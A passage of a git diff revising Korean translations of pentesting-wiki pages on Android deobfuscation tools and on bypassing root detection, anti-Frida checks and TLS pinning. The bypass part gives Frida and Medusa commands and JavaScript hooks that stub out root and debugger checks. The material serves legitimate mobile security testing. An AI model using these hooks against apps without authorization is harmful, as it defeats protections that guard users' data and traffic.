์žˆ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”. +์‚ฌ์šฉํ•˜๋Š” ์„œ๋น„์Šค์™€ ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ์ฝ”๋“œ๊ฐ€ ๋‚œ๋…ํ™”๋  ๋•Œ ๋น„๋ฐ€(Secrets)์ด ๋‚œ๋…ํ™”๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋‚œ๋…ํ™”๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ### [ProGuard]() -From [Wikipedia](): **ProGuard**๋Š” Java ์ฝ”๋“œ๋ฅผ ์ถ•์†Œ(shrink), ์ตœ์ ํ™”(optimize)ํ•˜๊ณ  obfuscateํ•˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ๋ช…๋ น์ค„ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ์ตœ์ ํ™”ํ•˜๊ณ  ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ๋ช…๋ น์„ ํƒ์ง€ ๋ฐ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ProGuard๋Š” ์ž์œ  ์†Œํ”„ํŠธ์›จ์–ด์ด๋ฉฐ GNU General Public License, version 2 ํ•˜์— ๋ฐฐํฌ๋ฉ๋‹ˆ๋‹ค. +From [Wikipedia](): **ProGuard**๋Š” Java ์ฝ”๋“œ๋ฅผ ์ถ•์†Œ(shrink), ์ตœ์ ํ™”(optimize), ๋‚œ๋…ํ™”(obfuscate)ํ•˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ์ปค๋งจ๋“œ๋ผ์ธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ์ตœ์ ํ™”ํ•˜๊ณ  ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ๋ช…๋ น์„ ํƒ์ง€ ๋ฐ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ProGuard๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด์ด๋ฉฐ GNU General Public License, version 2 ํ•˜์— ๋ฐฐํฌ๋ฉ๋‹ˆ๋‹ค. -ProGuard๋Š” Android SDK์˜ ์ผ๋ถ€๋กœ ๋ฐฐํฌ๋˜๋ฉฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ release ๋ชจ๋“œ๋กœ ๋นŒ๋“œํ•  ๋•Œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. +ProGuard๋Š” Android SDK์˜ ์ผ๋ถ€๋กœ ๋ฐฐํฌ๋˜๋ฉฐ release ๋ชจ๋“œ๋กœ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋นŒ๋“œํ•  ๋•Œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ### [DexGuard](https://www.guardsquare.com/dexguard) -APK์˜ deobfuscate์— ๋Œ€ํ•œ ๋‹จ๊ณ„๋ณ„ ๊ฐ€์ด๋“œ๋Š” [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +APK ๋‚œ๋…ํ™” ํ•ด์ œ์— ๋Œ€ํ•œ ๋‹จ๊ณ„๋ณ„ ๊ฐ€์ด๋“œ๋Š” [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)์—์„œ ํ™•์ธํ•˜์„ธ์š”. -(ํ•ด๋‹น ๊ฐ€์ด๋“œ์— ๋”ฐ๋ฅด๋ฉด) ๋งˆ์ง€๋ง‰์œผ๋กœ ํ™•์ธํ–ˆ์„ ๋•Œ, Dexguard์˜ ๋™์ž‘ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค: +(ํ•ด๋‹น ๊ฐ€์ด๋“œ์—์„œ) ๋งˆ์ง€๋ง‰์œผ๋กœ ํ™•์ธํ–ˆ์„ ๋•Œ Dexguard์˜ ๋™์ž‘ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค: - ๋ฆฌ์†Œ์Šค๋ฅผ InputStream์œผ๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค; -- ๊ฒฐ๊ณผ๋ฅผ FilterInputStream์„ ์ƒ์†ํ•œ ํด๋ž˜์Šค์— ์ „๋‹ฌํ•˜์—ฌ ์ด๋ฅผ decryptํ•ฉ๋‹ˆ๋‹ค; -- ๋ฆฌ๋ฒ„์„œ์˜ ์‹œ๊ฐ„์„ ๋‚ญ๋น„ํ•˜๊ธฐ ์œ„ํ•ด ๋ช‡ ๋ถ„ ์ •๋„ ์†Œ๋ชจ๋˜๋Š” ์“ธ๋ชจ์—†๋Š” obfuscation์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค; +- ๊ฒฐ๊ณผ๋ฅผ FilterInputStream์„ ์ƒ์†ํ•œ ํด๋ž˜์Šค์— ์ „๋‹ฌํ•˜์—ฌ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค; +- ๋ฆฌ๋ฒ„์„œ์˜ ์‹œ๊ฐ„์„ ์กฐ๊ธˆ ๋‚ญ๋น„์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์“ธ๋ฐ์—†๋Š” ๋‚œ๋…ํ™”๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค; - ๋ณตํ˜ธํ™”๋œ ๊ฒฐ๊ณผ๋ฅผ ZipInputStream์— ์ „๋‹ฌํ•˜์—ฌ DEX ํŒŒ์ผ์„ ์–ป์Šต๋‹ˆ๋‹ค; -- ๋งˆ์ง€๋ง‰์œผ๋กœ `loadDex` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒฐ๊ณผ DEX๋ฅผ Resource๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. +- ๋งˆ์ง€๋ง‰์œผ๋กœ ๊ฒฐ๊ณผ DEX๋ฅผ `loadDex` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด Resource๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ### [DeGuard](http://apk-deguard.com) -**DeGuard๋Š” Android obfuscation ๋„๊ตฌ๊ฐ€ ์ˆ˜ํ–‰ํ•œ obfuscation ๊ณผ์ •์„ ์—ญ์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ ๊ฒ€์‚ฌ ๋ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์˜ˆ์ธก์„ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ ๋ณด์•ˆ ๋ถ„์„์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.** +**DeGuard๋Š” Android ๋‚œ๋…ํ™” ๋„๊ตฌ๊ฐ€ ์ˆ˜ํ–‰ํ•œ ๋‚œ๋…ํ™” ๊ณผ์ •์„ ์—ญ์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ ๊ฒ€์‚ฌ์™€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์˜ˆ์ธก ๋“ฑ ๋‹ค์–‘ํ•œ ๋ณด์•ˆ ๋ถ„์„์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.** -obfuscated APK๋ฅผ ํ•ด๋‹น ํ”Œ๋žซํผ์— ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋‚œ๋…ํ™”๋œ APK๋ฅผ ํ”Œ๋žซํผ์— ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app @@ -794,11 +794,11 @@ This is a LLM tool to find any potential security vulnerabilities in android app ### [Simplify](https://github.com/CalebFenton/simplify) -์ด๋Š” generic android deobfuscator์ž…๋‹ˆ๋‹ค. Simplify๋Š” ์•ฑ์„ virtually executesํ•˜์—ฌ ๋™์ž‘์„ ์ดํ•ดํ•œ ๋‹ค์Œ, ์‚ฌ๋žŒ์ด ์ดํ•ดํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋™์ž‘์€ ๋™์ผํ•˜๊ฒŒ ์œ ์ง€ํ•˜๋ฉด์„œ ์ฝ”๋“œ๋ฅผ ์ตœ์ ํ™”ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ตœ์ ํ™” ์œ ํ˜•์€ ๋‹จ์ˆœํ•˜๊ณ  ์ผ๋ฐ˜์ ์ด๋ฏ€๋กœ ์–ด๋–ค ํŠน์ •ํ•œ obfuscation ์œ ํ˜•์ด ์‚ฌ์šฉ๋˜์—ˆ๋Š”์ง€๋Š” ์ค‘์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +์ด๋Š” ์ผ๋ฐ˜์ ์ธ android deobfuscator์ž…๋‹ˆ๋‹ค. Simplify๋Š” ์•ฑ์„ ์‚ฌ์‹ค์ƒ ์‹คํ–‰(virtually executes)ํ•˜์—ฌ ๋™์ž‘์„ ์ดํ•ดํ•œ ๋’ค, ์‚ฌ๋žŒ์ด ์ดํ•ดํ•˜๊ธฐ ์‰ฝ๋„๋ก ๋™์ผํ•œ ๋™์ž‘์„ ์œ ์ง€ํ•˜๋ฉด์„œ ์ฝ”๋“œ๋ฅผ ์ตœ์ ํ™”ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ตœ์ ํ™” ์œ ํ˜•์€ ๋‹จ์ˆœํ•˜๊ณ  ์ผ๋ฐ˜์ ์ด๋ฏ€๋กœ ์‚ฌ์šฉ๋œ ํŠน์ • ๋‚œ๋…ํ™” ์œ ํ˜•์ด ๋ฌด์—‡์ด๋“  ์ƒ๊ด€์—†์Šต๋‹ˆ๋‹ค. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD๋Š” APK๊ฐ€ ์–ด๋–ป๊ฒŒ ๋งŒ๋“ค์–ด์กŒ๋Š”์ง€์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ compilers, packers, obfuscators ๋ฐ ๊ธฐํƒ€ ์ด์ƒํ•œ ์š”์†Œ๋“ค์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. Android์šฉ [_PEiD_](https://www.aldeid.com/wiki/PEiD)์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค. +APKiD๋Š” APK๊ฐ€ ์–ด๋–ป๊ฒŒ ๋งŒ๋“ค์–ด์กŒ๋Š”์ง€์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ์ปดํŒŒ์ผ๋Ÿฌ, packer, obfuscator ๋ฐ ๊ธฐํƒ€ ์ด์ƒํ•œ ๊ฒƒ๋“ค์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. Android์šฉ [_PEiD_](https://www.aldeid.com/wiki/PEiD)์ž…๋‹ˆ๋‹ค. ### Manual @@ -808,13 +808,13 @@ APKiD๋Š” APK๊ฐ€ ์–ด๋–ป๊ฒŒ ๋งŒ๋“ค์–ด์กŒ๋Š”์ง€์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b๋Š” ubuntu-mate ๊ธฐ๋ฐ˜์˜ Android ๋ณด์•ˆ ๊ฐ€์ƒ ๋จธ์‹ ์œผ๋กœ, ์ตœ์‹  ํ”„๋ ˆ์ž„์›Œํฌ, ํŠœํ† ๋ฆฌ์–ผ ๋ฐ reverse engineering๊ณผ malware analysis๋ฅผ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์—ฐ๊ตฌ์ž ๋ฐ ๋ณด์•ˆ ์• ํ˜ธ๊ฐ€๋“ค์˜ ์‹ค์Šต ์ž๋ฃŒ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +AndroL4b๋Š” Ubuntu MATE ๊ธฐ๋ฐ˜์˜ Android ๋ณด์•ˆ ๊ฐ€์ƒ๋จธ์‹ ์œผ๋กœ, ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋ง ๋ฐ ๋ฉ€์›จ์–ด ๋ถ„์„์„ ์œ„ํ•œ ์ตœ์‹  ํ”„๋ ˆ์ž„์›Œํฌ, ํŠœํ† ๋ฆฌ์–ผ ๋ฐ ๋žฉ ์ปฌ๋ ‰์…˜์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋“ค๊ณผ ๋‹ค์–‘ํ•œ ๊ธฐ์—ฌ์ž๋“ค์˜ ์ž๋ฃŒ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) ํ›Œ๋ฅญํ•œ ์ž๋ฃŒ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android ๋น ๋ฅธ ๊ฐ•์ขŒ +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) ํ›Œ๋ฅญํ•œ ๋ฆฌ์†Œ์Šค ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android ๋น ๋ฅธ ์ฝ”์Šค - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 93929db75..63522cb25 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -์ด ํŽ˜์ด์ง€๋Š” instrumentation์„ ํƒ์ง€ํ•˜๊ฑฐ๋‚˜ ๋ฃจํŠธ ์ฐจ๋‹จ์„ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ TLS pinning์„ ๊ฐ•์ œํ•˜๋Š” Android ์•ฑ์— ๋Œ€ํ•ด dynamic analysis๋ฅผ ๋ณต์›ํ•˜๊ธฐ ์œ„ํ•œ ์‹ค์šฉ์ ์ธ ์›Œํฌํ”Œ๋กœ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ์žฌํŒจํ‚ค์ง• ์—†์ด ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๋น ๋ฅธ ๋ถ„๋ฅ˜, ์ผ๋ฐ˜์ ์ธ ํƒ์ง€ ํ•ญ๋ชฉ, ๋ณต์‚ฌ-๋ถ™์—ฌ๋„ฃ๊ธฐ ๊ฐ€๋Šฅํ•œ hooks/tactics์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. +์ด ํŽ˜์ด์ง€๋Š” instrumentation์„ ์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜ ๋ฃจํŠธ ๊ฐ์ง€(rootโ€‘block)๋ฅผ ํ•˜๋Š” Android ์•ฑ์— ๋Œ€ํ•ด ๋™์  ๋ถ„์„์„ ๋ณต๊ตฌํ•˜๊ธฐ ์œ„ํ•œ ์‹ค์šฉ์ ์ธ ์›Œํฌํ”Œ๋กœ์šฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋น ๋ฅธ ๋ถ„๋ฅ˜, ์ผ๋ฐ˜์ ์ธ ํƒ์ง€ ๊ธฐ๋ฒ•, ๊ทธ๋ฆฌ๊ณ  ๊ฐ€๋Šฅํ•˜๋ฉด repacking ์—†์ด ์ ์šฉ ๊ฐ€๋Šฅํ•œ ๋ณต์‚ฌโ€‘๋ถ™์—ฌ๋„ฃ๊ธฐํ˜• ํ›…/์ „์ˆ ์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. -## Detection Surface (์•ฑ์ด ํ™•์ธํ•˜๋Š” ํ•ญ๋ชฉ) +## Detection Surface (what apps check) -- Root checks: su binary, Magisk paths, getprop values, common root packages -- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs -- Native antiโ€‘debug: ptrace(), syscalls, antiโ€‘attach, breakpoints, inline hooks -- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present +- ๋ฃจํŠธ ๊ฒ€์‚ฌ: su binary, Magisk paths, getprop values, common root packages +- Frida/debugger ๊ฒ€์‚ฌ (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs +- ๋„ค์ดํ‹ฐ๋ธŒ antiโ€‘debug: ptrace(), syscalls, antiโ€‘attach, breakpoints, inline hooks +- ์ดˆ๊ธฐ ์ดˆ๊ธฐํ™” ๊ฒ€์‚ฌ: Application.onCreate() ๋˜๋Š” ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘ ํ›…์—์„œ instrumentation์ด ์กด์žฌํ•˜๋ฉด ํฌ๋ž˜์‹œ๋ฅผ ์œ ๋ฐœ - TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins ## Step 1 โ€” Quick win: hide root with Magisk DenyList -- Enable Zygisk in Magisk -- Enable DenyList, add the target package -- Reboot and retest +- Magisk์—์„œ Zygisk ํ™œ์„ฑํ™” +- DenyList ํ™œ์„ฑํ™”ํ•˜๊ณ  ๋Œ€์ƒ ํŒจํ‚ค์ง€ ์ถ”๊ฐ€ +- ์žฌ๋ถ€ํŒ… ํ›„ ์žฌํ…Œ์ŠคํŠธ -๋งŽ์€ ์•ฑ์€ su/Magisk ๊ฒฝ๋กœ/getprop ๊ฐ™์€ ๋ช…๋ฐฑํ•œ ์ง€ํ‘œ๋งŒ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. DenyList๋Š” ์ข…์ข… ๋‹จ์ˆœํ•œ ๊ฒ€์‚ฌ๋“ค์„ ๋ฌด๋ ฅํ™”ํ•ฉ๋‹ˆ๋‹ค. +๋งŽ์€ ์•ฑ์€ ๋ช…ํ™•ํ•œ ์ง€ํ‘œ(su/Magisk paths/getprop)๋งŒ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. DenyList๋Š” ์ข…์ข… ์ด๋Ÿฐ ๋‹จ์ˆœํ•œ ๊ฒ€์‚ฌ๋ฅผ ๋ฌด๋ ฅํ™”ํ•ฉ๋‹ˆ๋‹ค. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 โ€” 30โ€‘second Frida Codeshare tests -์‹ฌ์ธต ๋ถ„์„์— ๋“ค์–ด๊ฐ€๊ธฐ ์ „์— ์ž์ฃผ ์“ฐ์ด๋Š” dropโ€‘in ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋จผ์ € ์‹œ๋„ํ•ด๋ณด์„ธ์š”: +๊นŠ๊ฒŒ ๋ถ„์„ํ•˜๊ธฐ ์ „์— ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๋“œ๋กญ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋จผ์ € ์‹œ๋„ํ•˜์„ธ์š”: - anti-root-bypass.js - anti-frida-detection.js @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -์ด๋“ค์€ ์ผ๋ฐ˜์ ์œผ๋กœ Java์˜ root/debug checks, process/service scans, ๊ทธ๋ฆฌ๊ณ  ๋„ค์ดํ‹ฐ๋ธŒ ptrace()๋ฅผ ์Šคํ…ํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ˜ธ๊ฐ€ ์•ฝํ•œ ์•ฑ์—์„œ๋Š” ์œ ์šฉํ•˜์ง€๋งŒ, ๊ฐ•ํ™”๋œ ๋Œ€์ƒ์€ ๋งž์ถคํ˜• hooks๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด๋“ค์€ ์ผ๋ฐ˜์ ์œผ๋กœ Java์˜ root/debug checks, process/service scans, ๊ทธ๋ฆฌ๊ณ  native ptrace()๋ฅผ ์Šคํ… ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ˜ธ ์ˆ˜์ค€์ด ๋‚ฎ์€ ์•ฑ์—์„œ๋Š” ์œ ์šฉํ•˜์ง€๋งŒ, ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋œ ๋Œ€์ƒ(hardened targets)์€ ๋งž์ถคํ˜• ํ›…์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - Codeshare: https://codeshare.frida.re/ -## Medusa๋กœ ์ž๋™ํ™”ํ•˜๊ธฐ (Frida framework) +## Automate with Medusa (Frida framework) -Medusa๋Š” SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception ๋“ฑ 90๊ฐœ ์ด์ƒ์˜ ๊ธฐ์„ฑ ๋ชจ๋“ˆ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +Medusa๋Š” SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception ๋“ฑ์„ ์œ„ํ•œ 90+๊ฐœ์˜ ๊ธฐ์„ฑ ๋ชจ๋“ˆ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,22 +54,22 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -ํŒ: Medusa๋Š” ์ปค์Šคํ…€ hooks๋ฅผ ์ž‘์„ฑํ•˜๊ธฐ ์ „์— ๋น ๋ฅธ ์„ฑ๊ณผ๋ฅผ ์–ป๊ธฐ์— ์ข‹์Šต๋‹ˆ๋‹ค. ๋ชจ๋“ˆ์„ ์„ ๋ณ„ํ•ด์„œ ์ž์‹ ์˜ scripts์™€ ๊ฒฐํ•ฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +ํŒ: Medusa๋Š” ์ปค์Šคํ…€ hooks๋ฅผ ์ž‘์„ฑํ•˜๊ธฐ ์ „์— ๋น ๋ฅธ ์Šน๋ฆฌ๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์ข‹์Šต๋‹ˆ๋‹ค. modules๋ฅผ cherry-pickํ•˜๊ณ  ์ž์ฒด scripts์™€ ๊ฒฐํ•ฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -## Step 3 โ€” init-time ํƒ์ง€๊ธฐ๋ฅผ ๋Šฆ๊ฒŒ attachํ•˜์—ฌ ์šฐํšŒํ•˜๊ธฐ +## 3๋‹จ๊ณ„ โ€” Bypass init-time detectors by attaching late -๋งŽ์€ ํƒ์ง€๋Š” process spawn/onCreate() ๋™์•ˆ์—๋งŒ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. Spawnโ€‘time injection (-f)์ด๋‚˜ gadgets๋Š” ์žกํžˆ๊ธฐ ์‰ฝ๊ณ , UI๊ฐ€ ๋กœ๋“œ๋œ ์ดํ›„์— attachํ•˜๋ฉด ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŽ์€ ํƒ์ง€๋“ค์€ process spawn/onCreate() ๋™์•ˆ์—๋งŒ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. Spawnโ€‘time injection (-f)์ด๋‚˜ gadgets๋Š” ํƒ์ง€๋˜๊ธฐ ์‰ฝ๊ณ , UI๊ฐ€ ๋กœ๋“œ๋œ ์ดํ›„์— attachingํ•˜๋ฉด ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -์ด ๋ฐฉ๋ฒ•์ด ์ž‘๋™ํ•˜๋ฉด ์„ธ์…˜์„ ์•ˆ์ •์ ์œผ๋กœ ์œ ์ง€ํ•˜๊ณ  ๋งคํ•‘ ๋ฐ ์Šคํ… ๊ฒ€์‚ฌ๋กœ ์ง„ํ–‰ํ•˜์„ธ์š”. +์ด ๋ฐฉ๋ฒ•์ด ํ†ตํ•˜๋ฉด ์„ธ์…˜์„ ์•ˆ์ •์ ์œผ๋กœ ์œ ์ง€ํ•˜๊ณ  map ๋ฐ stub checks๋กœ ์ง„ํ–‰ํ•˜์„ธ์š”. -## ๋‹จ๊ณ„ 4 โ€” Jadx ๋ฐ ๋ฌธ์ž์—ด ๊ฒ€์ƒ‰์„ ํ†ตํ•œ ํƒ์ง€ ๋กœ์ง ๋งคํ•‘ +## Step 4 โ€” Jadx ๋ฐ ๋ฌธ์ž์—ด ํƒ์ƒ‰์„ ํ†ตํ•œ ํƒ์ง€ ๋กœ์ง ๋งคํ•‘ -Jadx์—์„œ์˜ ์ •์  ํŠธ๋ฆฌ์•„์ง€ ํ‚ค์›Œ๋“œ: +Jadx์—์„œ์˜ ์ •์  triage ํ‚ค์›Œ๋“œ: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" ์ผ๋ฐ˜์ ์ธ Java ํŒจํ„ด: @@ -78,16 +78,16 @@ public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -๊ฒ€ํ† /hookํ•  ์ผ๋ฐ˜ API: +๊ฒ€ํ† /ํ›„ํ‚นํ•  ๊ณตํ†ต API: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## 5๋‹จ๊ณ„ โ€” Runtime stubbing with Frida (Java) +## Step 5 โ€” Frida๋กœ ๋Ÿฐํƒ€์ž„ ์Šคํ… ์ฒ˜๋ฆฌ (Java) -์ปค์Šคํ…€ ๊ฐ€๋“œ๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜์—ฌ ๋ฆฌํŒจํ‚น ์—†์ด ์•ˆ์ „ํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก: +์žฌํŒจํ‚ค์ง• ์—†์ด ์•ˆ์ „ํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ์ปค์Šคํ…€ ๊ฐ€๋“œ๋ฅผ ์žฌ์ •์˜: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -์ดˆ๊ธฐ crashes๋ฅผ ๋ถ„๋ฅ˜ํ•˜๊ณ  ์žˆ๋‚˜์š”? ์ข…๋ฃŒ๋˜๊ธฐ ์ง์ „์— Dump classes๋ฅผ ํ•ด์„œ ์ž ์žฌ์  detection namespaces๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”: +์ดˆ๊ธฐ ํฌ๋ž˜์‹œ๋ฅผ ๋ถ„์„ ์ค‘์ธ๊ฐ€์š”? ์ข…๋ฃŒ๋˜๊ธฐ ์ง์ „์— Dump classesํ•ด์„œ ๊ฐ์ง€ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์€ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -111,6 +111,7 @@ onComplete: () => console.log('Done') }); }); ``` +``` // Quick root detection stub example (adapt to target package/class names) Java.perform(() => { try { @@ -118,6 +119,7 @@ const RootChecker = Java.use('com.target.security.RootCheck'); RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); +``` ์‹คํ–‰ ํ๋ฆ„์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์˜์‹ฌ์Šค๋Ÿฌ์šด 